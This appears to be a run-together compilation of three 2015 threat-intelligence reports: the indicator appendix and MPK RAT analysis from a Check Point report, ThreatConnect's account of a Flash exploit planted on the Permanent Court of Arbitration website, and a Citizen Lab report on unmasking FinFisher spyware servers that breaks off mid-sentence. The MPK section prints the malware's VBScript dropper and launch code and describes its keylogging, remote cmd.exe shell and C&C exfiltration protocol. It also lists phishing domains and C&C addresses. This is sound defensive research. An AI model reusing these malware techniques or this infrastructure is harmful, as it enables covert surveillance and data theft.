4b0edcd1d2953c26b6fc4298e8bf9150 4cdc28ab6e426dc630638488743accfb 58bcfe673d21634616d898c3127bd1bc 60f5bc820cf38e78b51e1e20fed290b5 63558e2980d1c6aaf34beefb657866fe 8a45dfec98dd96c86d933d9c1d6ef296 8bd58db9c29c53197dd5d5f09704296e 916be1b609ed3dc80e5039a1d8102e82 a42cea20439789bd1d9a51d9063ae3e4 b7de8927998f3604762096125e114042 b884f67c247d3dd6c559372a8a31a898 b8fb83d76eb67cbeed0b54c02a68256b c222199c9a7eb0d162d5e96955739447 d5517542b5f8dc2010933ee17a846569 da976a502a3afc4ba63611d47c625738 ee41e7c97f417b07177ea420afe510a1 f3c3ed556072209b60c3342ddefba0f9 f89a4d4ae5cca6d69a5256c96111e707 02b04563ef430797051aa13e48971d3490c80636 07a77f8b9f0fcc93504dfba2d7d9d26246e5878f 0b0cdf47363fd27bccbfba6d47b842e44a365723 0b880fb3414374dbbf582217ee0288a76c904e9b 22f6a61aa2d490b6a3bc36e93240d05b1e9b956a 25d3688763e33eac1428622411d6dda1ec13dd43 37ad0e426f4c423385f1609561422a947a956398 476489f75fed479f19bac02c79ce1befc62a6633 47b1c9caabe3ae681934a33cd6f3a1b311fd7f9f 53340f9a49bc21a9e7267173566f4640376147d9 58045d7a565f174df8efc0de98d6882675fbb07f 62172eee1a4591bde2658175dd5b8652d5aead2a 6e30d3ef2cd0856ff28adce4cc012853840f6440 729f9ce76f20822f48dac827c37024fe4ab8ff70 7ad0eb113bc575363a058f4bf21dbab8c8f7073a 7fef48e1303e40110798dfec929ad88f1ad4fbd8 2015 Check Point Software Technologies Ltd. All rights reserved | 29 8074ed48b99968f5d36a494cdeb9f80685beb0f5 86222ef166474e53f1eb6d7e6701713834e6fee7 c1edf6e3a271cf06030cc46cbd90074488c05564 c6db3e7e723f20ed3bcf4c53fc4748e9591f4c40 cabdfe7e9920aeaa5eaca7f5415d97f564cdec11 ce03790d1df81165d092e89a077c495b75a14013 e6964d467bd99e20bfef556d4ad663934407fd7b e8dbcde49c7f760165ebb0cb3452e4f1c24981f5 efd1c6a926095d36108177045db9ad21df926a6e fa5b587ceb5d17f26fe580aca6c02ff2e20ad3c4 fd8793ce4ca23988562794b098b9ed20754f8a90 fe3436294f302a93fbac389291dd20b41b038cba ffead364ae7a692afec91740d24649396e0fa981 FireMalv Credential Stealer 0b0e2c4789b895e8ac44b6ada284aec1 29d93b156bcfbcecf79c5ba389094796a1ba76ee Woolen-Keylogger 0a22232c1d5add9d7aabdf630b6ed5af 0e2dc1cb6bda45d68ee9c751e37df73b 1a2b18cb40d82dc279eb2ef923c3abd0 1f7688653c272d5205f9070c2541a68c 3c6c1722acfb70bfa4453b69e99c98bb 662d094799e9c7108f35c00eb894205f b4790618672197cab31681994bbc10a4 c72dce99e892bbf2537f5285a01985c0 f7e093d721d2616ecb9067934a615f70 f898eef9dfa04820bb2f798e063645a7 f9b235067b1c607b5b26896d465b6665 29968b0c4157f226761073333ff2e82b588ddf8e 5d334e0cb4ff58859e91f9e7f1c451ffdc7544c3 8e1bd64acd8bbe819ac60650eb1fa4f501d330ec a42f1ad2360833baedd2d5f59354c4fc3820c475 a65b39d3919f15649106a039469013479a31ba4b b9842058c88170cc45183aaaae4206c74e6c7351 c8096078f0f6c3fbb6d82c5b00211802168f9cba d5b2b30fe2d4759c199e3659d561a50f88a7fb2e db2b8f49b4e76c2f538a3a6b222c35547c802cef eeb67e663b2fa980c6b228fc2e04304c8992401d faf0fe422259d36494a0b2c9ccefe40dee978f31 2015 Check Point Software Technologies Ltd. All rights reserved | 30 014bf8a588f614883d3d8b96024cd278 5c66b560f70c0b756bfc840b871864ce d1b526770abb441d771f4681872d2fcb eb6a21585899e702fc23b290d449af846123845f f2ed8cd0154ae4d6ecf52a0bcf5fa80c7095dcd2 f710bd9ea40fd94c06d704c00e16a5941544378f Network Traffic Wrapper/Gholee HTTP/HTTPS [80/443] index\.php\?c=\w+&r=\d+ Woolger FTP [21] to 107.6.181.116, 107.6.172.54, 5.145.151.6 raw [8900,8899,8987,9090,1993] \/\/\[mpk\]\\\d{4} example: //[mpk]\2012 \/\/\[smpk\]}\\\d{4} example: //[smpk]}1992 Domains account.login.gfimail.us accounts.google.uk.to account-user.com drive-google.co drives-google.co gfimail.us gmail-member.us.to google-setting.com google-verify.com login.miicrosoftonline.us.to login.office365.uk.to logins-verify.com login-users.com mail.mail2.mod.gov.af.mail.al mail-verify.com my.idc.ac.il.my.to outlook.profile.com.hmail.us outlook.tau.ac.il.mail.al owa.inss.mises.org.il owas.haifa.ac.il.info.gf owas.haifa.us.to profile.gmail.us.to profile.google.uk.to profiles.faceboek.in 2015 Check Point Software Technologies Ltd. All rights reserved | 31 profiles.googel.com.inc.gs profiles.googlemembers.com.home.kg profiles-google.uk.to qooqle.co secure.www.cfr.us.to service-logins.com signin-users.com signin-verify.com signs-service.com verification.google-it.info video.qooqle.co webmail.tau.ac.il.us.to webmail.technion.ac.il.us.to yahoo-profiles.uk.to youtube.com.now.im IP addresses [107.6.181.96-127] [107.6.172.50-62] [107.6.154.224-231] 107.6.181.116 107.6.172.54 107.6.172.55 107.6.181.114 107.6.172.51 107.6.172.53 107.6.181.100 107.6.172.52 107.6.154.230 5.39.223.227 31.192.105.10 [5.145.151.1-7] 5.145.151.6 [84.11.146.52-63] 84.11.146.55 84.11.146.62 84.11.146.61 [109.169.22.69-72] [109.169.61.4-8] 109.169.61.8 109.169.22.69 109.169.22.71 109.169.22.72 162.223.90.148 162.223.91.226 162.222.194.51 212.118.118.100 2015 Check Point Software Technologies Ltd. All rights reserved | 32 APPENDIX B MPK TECHNICAL DESCRIPTION The malware appears to be named by the attackers. This may be related to Masoud_PK as witnessed in the Iranian blogging web-site under the wool3n.h4t blog name. Installation For persistence, the malware will add itself to autorun under an explorer entry: HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run The malware includes a Visual Basic script ( tmp.vbs ) script, which will try to initially copy the malware executable to its destination: Sub CopyFile(SourceFile, DestinationFile) Set fso = CreateObject("Scripting.FileSystemObject") Dim wasReadOnly wasReadOnly = False If fso.FileExists(DestinationFile) Then If fso.GetFile(DestinationFile).Attributes And 1 Then fso.GetFile(DestinationFile).Attributes = fso.GetFile(DestinationFile).Attributes - 1 wasReadOnly = True End If fso.DeleteFile DestinationFile, True End If fso.CopyFile SourceFile, DestinationFile, True If wasReadOnly Then fso.GetFile(DestinationFile).Attributes = fso.GetFile(DestinationFile).Attributes + 1 End If Set fso = Nothing End Sub copyme = WScript.Arguments.Item(0) copyto = WScript.Arguments.Item(1) CopyFile copyme,copyto,0 Also, it will execute the following WScript, which will start the malware itself after exactly 9 seconds. WScript.Sleep 9000 CreateObject("WScript.Shell").Run "iexplorer.exe [1]" Main operation This malware is basically a RAT (Remote Access Trojan). It implements such functionality as a key-logger, sniffing TCP and UDP traffic, taking screenshots, as well as a remote command shell. Also, it may gather a lot of information about the target system such as enumeration of files, drives, services, process information and the ability to send any file to the C&C server. 2015 Check Point Software Technologies Ltd. All rights reserved | 33 Less important, but still sensible information may be exfiltrated: Primary display resolution Has administrator rights or not Processor information Hostname information Windows version Service Pack version Amount of memory installed on the target system Network adapters and network configuration information TCP connections table The following mutex will be created: [2]opened Then, the malware will check if the following mutex exists: MyApp1.0 If it does, the malware will exit, so only one instance of the malware is allowed at a time. If not, it will continue to the main operation. Keylogger Keylogger stores keystrokes to the following file: %TEMP%\log%d.txt Here is a sample of malware key-log output: (((((((Hello new File))))))))) +++++++++++++ Window= VMware Accelerated AMD PCNet Adapter (Microsoft's Packet Scheduler) : Capturing Wireshark +++++++++++++ [UP][DOWN][DOWN][UP][UP][DOWN][UP][DOWN][DOWN][UP][UP][DOWN][DOWN][DOWN][UP][UP][UP][UP] [DOWN][DOWN][DOWN][DOWN]r +++++++++++++ Window= Run +++++++++++++ cmd[ENTER] +++++++++++++ Window= C:\WINDOWS\system32\cmd.exe +++++++++++++ notepad[ENTER] +++++++++++++ Window= VMware Accelerated AMD PCNet Adapter (Microsoft's Packet Scheduler) : Capturing Wireshark +++++++++++++ [DOWN][UP] +++++++++++++ Window= Untitled - Notepad +++++++++++++ test test test +++++++++++++ 2015 Check Point Software Technologies Ltd. All rights reserved | 34 This file will be sent to remote C&C server later on. If the malware detects an open Gmail Yahoo or Outlook window, it will add special processing so the attacker can easily recognize the data that is the most valuable to him. The following string will be appended to the output file: \r/////////////\r\nMail Find Webcam capture The malware may capture photos from an attached webcam. Files are first saved with the name test.bmp, later converted to JPEG and saved under the new file name Cam.jpg, eventually exfiltrated to the C&C server. TCP Connection Table The malware will gather available metadata regarding current TCP connections using the GetTcpTable API, and send a formatted version of the obtained data to the C&C server. Screenshots The malware may take screenshots. The filename used for screenshots is Screeny.jpeg. Remote Shell (Live Command Execution) The malware creates the following process as a live command prompt: cmd.exe /c cmd.exe This process output and input are attached and redirected via pipes to the remote C&C server, allowing the operator to type in commands to control the victim computer. The following line is first sent to the server: Welcome To mpkshell Command Line (This Message Send From Server) Traffic Monitoring The malware may sniff all TCP and UDP traffic on the machine. This is achieved through the use of RAW sockets. The following status strings can be sent to the C&C server: Initializing Winsock 2.2... Creating RAW socket... Configuring socket for packet interception Starting the sniffing process... UDP Packet Information: Source IP: %s DESTINATION IP: %s SOURCE PORT: %d DESTINATION PORT: %d PACKET DATA: ############################################################# TCP Packet Information: Source IP: %s DESTINATION IP: %s SOURCE PORT: %d DESTINATION PORT: %d ############################################################# 2015 Check Point Software Technologies Ltd. All rights reserved | 35 If the current user privileges are insufficient for such action, the following error is presented: the processs is not admin try after restart to while mpkProcess To Admin... File Exfiltration The malware may exfiltrate any file to the remote C&C server. The malware also contains the ability to enumerate all files on the system or find a specific file with the required filename specified by the operator. Upon file exfiltration, the file is checked for size. This is performed in order to send the file in 4Kb chunks , where each chunk frame is sized 0x1014h bytes. Before uploading any file to the C&C server, the malware will report its size: length: %d After sending each chunk, the malware will report the current transfer status: %d Bytes / %d Bytes When the transfer will be finished, it will report completion using the following string: Completed: %d Bytes Downloaded. If there was any problem, this string will be reported: Failed to open %s, %s not found. Communication protocol The malware uses raw sockets over IP protocol (IPPROTO_IP flag), effectively implementing its own protocol for data transfer. The executable s own File Version Info is parsed to retrieve the server IP, trivially encoded into the Company value: 2015 Check Point Software Technologies Ltd. All rights reserved | 36 This data contains hardcoded IP address and port of C&C server. In this sample it is: 83.170.33.67:9090 A connection will be established to that IP, while sending periodic keep-alive messages, containing these 6 bytes: 123456 File-exfiltration packets are 0x1014h bytes long. The first 2 bytes indicate the type of file to be exfiltrated: 0811h logs (initial packet) 0810h logs (subsequent packets) 080Fh logs (final packet) 0BCDh webcam images (initial packet) 0BCFh webcam images (subsequent packets) 0BCEh webcam images (final packet) 0803h screenshots (initial packet) 0805h screenshots (subsequent packets) 0804h screenshots (final packet) 13C2h error with file The filename is located at offset 0x08h of the first packet. Subsequent packets include file contents only. 2015 Check Point Software Technologies Ltd. All rights reserved | 37 The Check Point Incident Response Team is available to investigate and resolve complex security events that span from malware events, intrusions or denial of service attacks. The team is available 24x7x365 by contacting emergency-response@checkpoint.com or calling 866-923-0907 2015 Check Point Software Technologies Ltd. All rights reserved. China Hacks the Peace Palace: All Your EEZ s Are Belong to Us Executive Summary In early July 2015, Chinese APT actors used an Adobe Flash Player exploit within a specific webpage detailing a noteworthy international legal case between the Philippines and China. This precedent setting legal case would be followed by many Southeast Asian nations, as well as others around the globe. The exploit appeared on day three of the Permanent Court of Arbitration tribunal, exposing an untold number of interested parties that visited the webpage to potential exploitation. When considered holistically, the intelligence supports the conclusion that this exploitation campaign was purposefully carried out against the backdrop of diplomatic and legal maneuvering. Despite Beijing unwillingness to participate in the international arbitration and their rejection of the PCA s jurisdiction, there appears to be a distinct effort to surreptitiously target those who are interested in this landmark international legal case via electronic means. ThreatConnect has shared the details of this incident to our Common Community within Incident 20150710D: Permanent Court of Arbitration Flash Exploit. Log into your ThreatConnect account or register for one via our Community Editions and access the most comprehensive and widely adopted Threat Intelligence Platform on the market. Hacking the Peace Palace Since the revelation of an Adobe Flash Player zero day exploit exposed as part of the leaked Hacking Team arsenal on July 6th 2015 (designated CVE-2015-5119), the ThreatConnect Intelligence Research Team has been monitoring its adoption by other malicious actors that are not tied to Hacking Team On Thursday, July 9, 2015 ThreatConnect observed that a CVE-2015-5119 exploit was embedded strategically within the website for the Permanent Court of Arbitration (PCA), 72 hours after the exploit was disclosed publicly. The significance of this is that the PCA is an intergovernmental organization providing a variety of dispute resolution services to the international community located at the Peace Palace within The Hague, Netherlands. The 102-year-old Peace Palace is a historic fixture within the sphere of international law because it also houses the International Court of Justice, the principal judicial body of the United Nations, as well as other bodies and resources that uphold and support international laws and norms to which many nations adhere. The exploit was posted to the PCA website during the first round of arguments of a notable international legal case where the Philippines is contesting Chinese territorial expansion within the South China Sea (SCS), specifically challenging encroachment into the Philippines exclusive economic zone (EEZ). These arbitral proceedings were initially instituted by the Republic of the Philippines against the People Republic of China under Annex VII of the United Nations Convention on the Law of the Sea (UNCLOS) on January 22, 2013. Two years later, on July 09, 2015, an attacker compromised the official PCA webpages at: [http:]//www.pca-cpa[.]org/showpage.asp?pag_id=1529 [http:]//www.pca-cpa[.]org/showproj.asp?pag_id=1529 This exploitation was almost certainly not a random compromise of the PCA website; rather, it occurred during the initial phase of the legal proceedings. The exploit itself was embedded within the very pages that specifically described the legal case of The Republic of the Philippines v. The People s Republic of China. According to URLQuery, the attackers placed a CVE-2015-5119 Flash Exploit at the malicious URL [http:]//pic.nicklockluckydog[.]org/movie.swf, and altered the PCA webpages to load that URL when visited. The domain pic.nicklockluckydog[.]org resolved to the IP address 192.243.116[.]241 (Phoenix, Arizona, US) at the time of initial exploitation. IP Address 192.243.116[.]241 is owned by IT7 Networks, Inc., which provides self-managed Virtual Private Server (VPS) infrastructure. The attackers shifted the domain later, resolving to IP Address 108.61.117[.]9 (Haarlem, Netherlands) on Friday, July 10th, the very day that the tribunal convened in The Hague. The malware payload associated with this exploit has been identified as MD5: B4522D05A9E3A034AF481A7797A445EA (Rdws.exe). This payload is a dropper executable that deploys its main malware component using a dynamic link library (DLL) sideloading technique, where a malicious DLL is dropped alongside a legitimate program executable that will load that malicious DLL by filename. In this instance, the attackers leveraged the legitimate Google Chrome Frame Helper executable MD5: DFDC5B09C4DEA79EB7F5B9E4E76EECF9 (LMS.exe) with the malicious sideload DLL file MD5: 2EE25DE7BD6A2705F3F8DDE0DD681E96 (dbghelp.dll). LMS.exe will load any DLL file name dbghelp.dll that is found in the same path, hence the sideloading technique. In turn, The malicious DLL loads a backdoor binary blob MD5: 16E5A27BD55E0B4E595C9743F4C75611 (ticrf.rat). The malware connects back to the exploit domain pic.nicklockluckydog[.]org as well as the subdomain ssl.nicklockluckydog[.]org. The domain ssl.nicklockluckydog[.]org resolved to 175.45.233[.]205 (Seoul, South Korea) at the time of analysis. ThreatConnect also uncovered a related malware sample MD5: 5877D15215B7F398319F0DE7BA7B1947, which was submitted to Malwr.com on July 15, 2015. This malware implant matches the type used above, and leverages the C2 domains books.blueworldlink2015[.]net and vpn.nicklockluckydog[.]org. The former domain resolves to the same Netherlands IP 108.61.117[.]9 which resolved pic.nicklockluckydog[.]org on July 10th. blueworldlink2015[.]net was registered by the email address nicklock2004[@]aol[.]com, which noticeably uses the same nicklock pseudonym found in the domain nicklockluckydog[.]org, and uses the falsified address info zhongguohunansheng Beijing, China. The domain nicklockluckydog[.]org was registered on July 9th, 2015 at 06:22Z by a Chinese domain reseller using falsified information such as the name Lanny Chen and address 7946 N Bridle Creek Way in Xiamen, Taiwan. On an interesting note, the registration address 7946 N Bridle Creek Way is the same observed within a civil suit between the National Football League and various Chinese domain resellers originally filed in May 2014. Conclusion In early July 2015, Chinese APT actors would operationalize an Adobe Flash Player exploit within 72 hours of its public disclosure, strategically staging it within a specific webpage detailing a noteworthy international legal case between the Philippines and China. This precedent setting legal case would be followed by many Southeast Asian nations, as well as those around the globe. The exploit appeared during the first round of hearings, exposing an untold number of interested parties that visited the webpage. The tactic of leveraging strategic website compromises with patched or unpatched exploits is a well known observable which has been used consistently by various APT groups in recent years. When considered holistically, the intelligence supports the conclusion that this exploitation campaign was purposefully carried out against the backdrop of diplomatic and legal maneuvering. Manila has long recognized they are unable to independently lock horns with China diplomatically or militarily, by invoking dispute settlement procedures under the UNCLOS, an agreement in which both China and the Philippines are signatories. The Philippines is seeking to leverage international law to level the playing field against China s regional diplomatic and military dominance, the ultimate goal being to deter aggressive Chinese expansion activities within the Philippine EEZ and the broader South China Sea. Despite Beijing s unwillingness to participate in the international arbitration and their rejection of the s jurisdiction, there appears to be a distinct effort to surreptitiously monitor those who are interested in this landmark international legal case via electronic means. This vignette also highlights the critical difference between threat data and threat intelligence. The latter goes beyond simply pulling in a stream of open source indicators and blindly pushing them to your enterprise network security devices and SIEM tools hoping something hits (it works great; you ll get TONS of hits or misses, depending on your perspective). A true Threat Intelligence Platform enables tactical, operational, and strategic analysis of the details behind the technical how within the context of the nontechnical, socio-political why. ThreatConnect has previously shared Threat Intelligence research of espionage activity tied to the increasing tensions within the South China Sea. In a similar fashion, ThreatConnect has shared additional details of this incident to our Common Community within Incident 20150710D: Permanent Court of Arbitration Flash Exploit. Log into your ThreatConnect account or register for one via our Community Editions and access the most comprehensive and widely adopted Threat Intelligence Platform on the market. 4/10/2016 Mapping FinFisher s Continuing Proliferation Research Teaching News Projects GLA2010 In the News About Publications Newsletter People Archives Events Opportunities Contact Search Pay No Attention to the Server Behind the Proxy: Mapping FinFisher s Continuing Proliferation October 15, 2015 Categories: Adam Senft, Bill Marczak, Irene Poetranto, John Scott Railton, Reports and Briefings, Research News, Sarah McKune Authors: Bill Marczak, John Scott Railton, Adam Senft, Irene Poetranto, and Sarah McKune Media Coverage: Associated Press, The Hill, Motherboard, The Daily Caller, Hespress, Washington Post, Quartz, ZDNet, Softpedia, La Prensa Grafica. This post describes the results of Internet scanning we recently conducted to identify the users of FinFisher, a sophisticated and user friendly spyware suite sold exclusively to governments. We devise a method for querying FinFisher anonymizing proxies to unmask the true location of the spyware s master servers. Since the master servers are installed on the premises of FinFisher customers, tracing the servers allows us to identify which governments are likely using FinFisher. In some cases, we can trace the servers to specific entities inside a government by correlating our scan results with publicly available sources. Our results indicate 32 countries where at least one government entity is likely using the spyware suite, and we are further able to identify 10 entities by name. Despite the 2014 FinFisher breach, and subsequent disclosure of sensitive customer data, our scanning has detected more servers in more countries than ever before. Executive Summary FinFisher is a sophisticated computer spyware suite, written by Munich based FinFisher GmbH, and sold exclusively to governments for intelligence and law enforcement purposes. Although marketed as a tool for fighting crime,1 the spyware has been involved in a number of high profile surveillance abuses. Between 2010 and 2012, Bahrain s government used FinFisher to monitor some of the country s top law firms, journalists, activists, and opposition political leaders.2 Ethiopian dissidents in exile in the United Kingdom3 and the United States4 have also been infected with FinFisher spyware. In 2012 and 2013, Citizen Lab researchers and collaborators,5 published several reports analyzing FinFisher spyware, and conducted scanning that identified FinFisher command and control (C&C) servers in a number of countries. In our previous research, we were not yet able to differentiate between FinFisher anonymizing proxies and master servers, a distinction that we make in this work. When a government entity purchases FinFisher spyware, they receive a FinSpy Master a C&C server that is installed on the entity s premises.6 The entity may then set up anonymizing proxies (also referred to as proxies or FinSpy Relays in the FinFisher documentation), to obscure the location of their master. Infected computers communicate with the anonymizing proxy, which is usually 7 set up on a Virtual Private Server (VPS) provider in a third country. The proxy then forwards communications between a victim s computer and the Master server. We first describe how we scanned the Internet for FinFisher servers and distinguished masters from proxies (Part 1: Fishing for FinFisher). We then outline our findings regarding 32 governments and 10 specific government entities that we believe are using FinFisher (Part 2: Country Findings). Finally, we highlight several cases that illuminate connections between different threat actors (Part 3: A Deeper Analysis of Several Cases), before concluding (Conclusion). Part 1: Fishing for FinFisher 4/10/2016 Part 1: Fishing for FinFisher Mapping FinFisher s Continuing Proliferation In this section, we describe our scans for FinFisher servers, and how we unmasked the true location of the master servers to identify governments using FinFisher. Each FinFisher sample includes the address of one or more C&C servers that the spyware reports back to. These C&C servers are typically FinSpy Relays, which forward connections back and forth between a device infected with FinFisher, and a FinSpy Master. The purpose of the FinSpy Relay is explicitly to make it practically impossible (their emphasis) for a researcher to discover location and country of the Headquarter [sic] Figure 1: How targets infected with FinFisher communicate with the FinSpy Master via one or more FinSpy Relays.9 We employed zmap10 to scan the entire IPv4 Internet (/0) several times since the end of December 2014 and throughout 2015, using a new FinFisher server fingerprint that we devised by analyzing FinFisher samples. Our scans yielded 135 servers matching our fingerprint, which we believe are a mix of FinSpy Masters and FinSpy Relays. When one queries a FinFisher server, or types the server s address into a web browser, the server typically returns a decoy page. A decoy page is a page designed to disguise the fact that the server is a spyware server. We found some variation in the decoy pages used by FinFisher servers that we detected, though the bulk used either www.google.com or www.yahoo.com. Peculiarly, FinSpy Relays appear to return decoy pages fetched by their FinSpy Master, rather than directly fetching the decoy pages themselves. Thus, in many cases, the pages returned by the FinSpy Relays contain location data apparently about the FinSpy Master (e.g., certain Google and Yahoo pages embed the requester s IP address or localized weather), which can reveal the location of FinSpy Masters. Okay Google, What is my IP? We noticed that when we issued a query like What is my IP address? to a Google decoy FinFisher server, the server would respond with a different IP address. In the case below, a FinFisher server 206.190.159.xxx (located in the United States) reported that its IP address was the Indonesian IP 112.78.143.xxx, which matches a FinFisher server first detected in August 2012 by Claudio Guarnieri.11 We hypothesize that 206.190.159.xxx is a FinFisher proxy, designed to obscure the location of the FinFisher master, which is at 112.78.143.xxx. 4/10/2016 Mapping FinFisher s Continuing Proliferation Figure 2: A FinFisher server in the US seems to be a proxy for a master in Indonesia. Specifically, we sent queries of the form: GET /search?q=my+ip+address&nord=1 HTTP/1.1 Host: [ip of server] User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:38.0) Gecko/20100101 Firefox/38.0 Figure 3: Queries we sent to Google decoy FinFisher servers to reveal the IP address of the master.12 The fact that FinFisher proxies can apparently reveal the IP of the master is quite peculiar. We illustrate below how we believe a query like What is my IP address? is routed through FinSpy Relays to the FinSpy Master: Figure 4: How we believe a What is my IP address? query is routed through FinSpy Relays to a FinSpy Master. It appears that the What is my IP Address? query is delivered from our Measurement Machine by the FinSpy Relay to the FinSpy Master, and then submitted to Google by the FinSpy Master. Therefore, Google returns the IP address of the FinSpy Master, which is then sent back to the Measurement Machine via the FinSpy Relay. s the Weather in Caracas? A significant number of FinFisher servers we detected used www.yahoo.com as their decoy page. While we were unable to devise a method to find the exact IP address of Yahoo decoy FinFisher endpoints, we were still able to retrieve location information from Yahoo, by examining the userLocation object in the decoy page s source code. Yahoo utilizes a user s location to customize several elements of Yahoo s homepage, including weather and news. 4/10/2016 Mapping FinFisher s Continuing Proliferation Figure 5: Weather conditions in Caracas returned by a FinFisher server in Lithuania. The userLocation object returned by 185.8.106.xxx (located in Lithuania) is shown below: "userLocation": {"woeid":395269, "zip":"Caracas", "city":"Caracas", "state":"Distrito Federal", "country":"Venezuela", "countryCode":"VE", ...} Figure 6: A FinFisher server in Lithuania seems to be a proxy for a master in Venezuela. The userLocation object allows us to obtain city and country information for FinFisher endpoints, though we cannot determine their precise IP address. We issued a query similar to the following to each Yahoo decoy FinFisher server to obtain a page with the userLocation object: GET https://www.yahoo.com/ HTTP/1.1 Host: www.yahoo.com User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:38.0) Gecko/20100101 Firefox/38.0 Figure 7: Queries we sent to Yahoo decoy FinFisher servers to reveal the location of the master.13 Since Yahoo, like Google, implements SSL redirection by default, we had to devise a method to talk to Yahoo in plain HTTP. While Google provides the nord=1 URL parameter to avoid SSL redirection, Yahoo apparently does not have an analogous publicized solution. However, we found that by sending plain HTTP GET requests to the resource https://www.yahoo.com/ we could communicate with www.yahoo.com in plain HTTP without triggering SSL redirection. Other Decoys While the majority of FinFisher servers we detected used either Google or Yahoo as a decoy page, we identified a number of other servers whose operators had apparently customized the decoy page to a different URL. One server used the Italian news source libero.it as a decoy. We noted that libero.it sets the Libero cookie, which contains the IP address of the computer that visited the libero.it website. When accessing 185.8.106.xxx, the Libero decoy FinFisher server, the cookie was set to include the Italian IP 93.146.250.xxx.14 Servers that we traced to Macedonia used Macedonian newsmagazine time.mk as a decoy. Servers we traced to Taiwan used Taiwanese web portal pchome.com.tw as a decoy. We were unable to trace other servers which used file download site filehippo.com as a decoy. A handful of other untraceable servers returned custom HTML code as a decoy (e.g., a webpage with a META redirect to www.google.com). General Comments This design peculiarity is only the latest instance of fingerprintable anomalies in spyware decoy pages. FinFisher competitor Hacking Team formerly used decoy pages on its C&C server for Remote Control System (RCS), but apparently removed them15 after our research revealed that anomalies in the decoy pages could be used to fingerprint RCS servers.16 We have also previously used decoy pages to fingerprint FinFisher servers.17 We believe that FinFisher or its clients may also be realizing that decoy pages are problematic, as we have observed fewer FinFisher servers returning decoy pages over time. Part 2: Country Findings 4/10/2016 Part 2: Country Findings Mapping FinFisher s Continuing Proliferation In this section, we provide a list of likely FinFisher government users identified by our scans, and also map out which FinSpy relays serve which FinSpy Masters. Below, we identify 33 likely government users of FinFisher in 32 countries, based on the presence of a FinFisher master at an IP address in a country18 or belonging to a specific government department. Figure 8: Suspected FinFisher government users that were active at some point in 2015. In presenting our scan results, we do not wish to disrupt or interfere with legitimately sanctioned investigations or other activities. Instead, we hope to ensure that citizens have the opportunity to hold their governments transparent and accountable. To this end, we identify government users, but redact certain details we have discovered about their infrastructure whose disclosure might interfere with legitimately sanctioned activities. Redacted details include the last octet of live IP addresses, and part of live domain names. Appendix A contains a full list of countries and servers. Country Specific entity if known Angola Bangladesh Directorate General of Forces Intelligence (DGFI) Belgium Federal Police Bosnia and Herzegovina Czech Republic Egypt Technology Research Department (TRD) Ethiopia Gabon Indonesia Italy Jordan Kazakhstan 1. National Encryption Body (Lembaga Sandi Negara) 2. Unknown other entities Unknown multiple entities 4/10/2016 Kenya Lebanon Mapping FinFisher s Continuing Proliferation National Intelligence Service (NIS) 1. General Directorate of General Security 2. Internal Security Forces (ISF) Macedonia Malaysia Mexico Mongolia Morocco Nigeria Special State Security Department (SSSD) 1. Conseil Superieur De La Defense Nationale (CSDN) 2. Unknown other entities Unknown multiple entities Oman Paraguay Romania Saudi Arabia Serbia Security Information Agency (BIA) Slovenia Spain Taiwan Turkey Turkmenistan Venezuela South Africa The following is a list of countries where neither our previous research nor documents disclosed by Wikileaks19 had previously found evidence of a FinFisher deployment: Angola, Egypt, Gabon, Jordan, Kazakhstan, Kenya, Lebanon, Morocco, Oman, Paraguay, Saudi Arabia, Slovenia, Spain, Taiwan, Turkey, and Venezuela. In the diagram below, we map out FinFisher proxy networks: the FinSpy Relay servers we found, and the FinSpy Masters to which we linked them: 4/10/2016 Mapping FinFisher s Continuing Proliferation Figure 9: Links we established between FinSpy Relays and FinSpy Masters. Given previous reports that observed weaknesses in certain cryptography that FinFisher uses to transmit information from an infected device to the FinSpy master,20 locating FinFisher collection infrastructure in another country could potentially invoke concerns about fourth party collection, where a government collects data collected by another government s surveillance operation. We have also previously identified potential legal concerns regarding locating relays in other countries.21 Attribution to Specific Entities We attributed some FinFisher Master servers to specific government entities by correlating our scan results with publicly available data, including emails from FinFisher s competitor Hacking Team. This section briefly describes how we identified these entities, and summarizes what is publicly known about their functions. While we do not provide a vignette for each country where we have identified FinFisher, we note that a number of countries have dubious or problematic histories of oversight of the security services. Bangladesh Directorate General of Forces Intelligence (DGFI) Our investigation uncovered a FinFisher server at an IP address in the same /30 as the mail server for Bangladesh s DGFI, [redacted].dgfi.gov.bd. Additionally, leaked Hacking Team emails claim that Bangladesh s DGFI is a FinFisher customer.22 Established in 1976, the Directorate General of Forces Intelligence (DGFI) is Bangladesh s military intelligence agency. The director of the agency holds the rank of Lieutenant General or Major General and directly reports to the Prime Minister.23 In a report published in 2008, Human Rights Watch associated the DGFI with long standing human rights violations (e.g., torture and extrajudicial killings) and the stifling of political opposition in the country.24 The US State Department has reported that the DGFI has previously conducted surveillance on citizens for their criticism of the government.25 Leaked emails show that DGFI officials were engaged in discussions with FinFisher s competitor Hacking Team in June 2014.26 Belgium Federal Police Service Our investigation found a FinFisher server in a /28 assigned to Belgacom, denoted 5904592 / SOCC 2131136. This range of IP addresses also contained several servers returning SSL certificates issued by and to Federal Police. Two IP 4/10/2016 Mapping FinFisher s Continuing Proliferation addresses in this range were also pointed to by two subdomains of raspol.be, a domain name registered to Massimo Moschettini / ISRD NTSU / Police F rale. Belgium s Federal Police Service was established in January 2001. The agency is headed by a General Commissioner who coordinates the work of five general directorates, including administrative police, judicial police, operational support, logistics, and human resources, as well as several departments that report directly to him/her.27 Leaked Hacking Team emails have revealed the company s participation in a tender for tactical interception of communications via computer systems by the Belgian Federal Police.28 Serbia Security Information Agency (BIA) Our investigation found a FinFisher server in the same /26 as bia.gov.rs, the website of Serbia s Security Information Agency (BIA). The server was also in the same /28 as a computer that identified itself to Shodan as DPRODAN .29 According to the leaked Hacking Team emails, a person with the email dprodan@open.telekom.rs contacted Hacking Team in reference to a February 8, 2012 demo in Belgrade.30 From February 7 9, 2012, Hacking Team was in Belgrade to give a demo to a potential client, Vladimir Djokic, who worked for the BIA according to his email address vladimirdj@bia.gov.rs.31 Thus, we believe dprodan is also a BIA employee, and the FinFisher server we found belongs to the BIA. Serbia s Security Information Agency (BIA) was created in 2002 by the Law on the Security Information Agency. BIA is a civil national security service and a part of the security intelligence system of the Republic of Serbia.32 While the BIA is generally regarded as operating with appropriate oversight and as being free from major abuses, some elements of its electronic surveillance practices have been challenged. Prior to 2014, the Law on the Security Information Agency was considered to be not in compliance with the constitution. In 2012, a constitutional court struck down several provisions of the Law on the 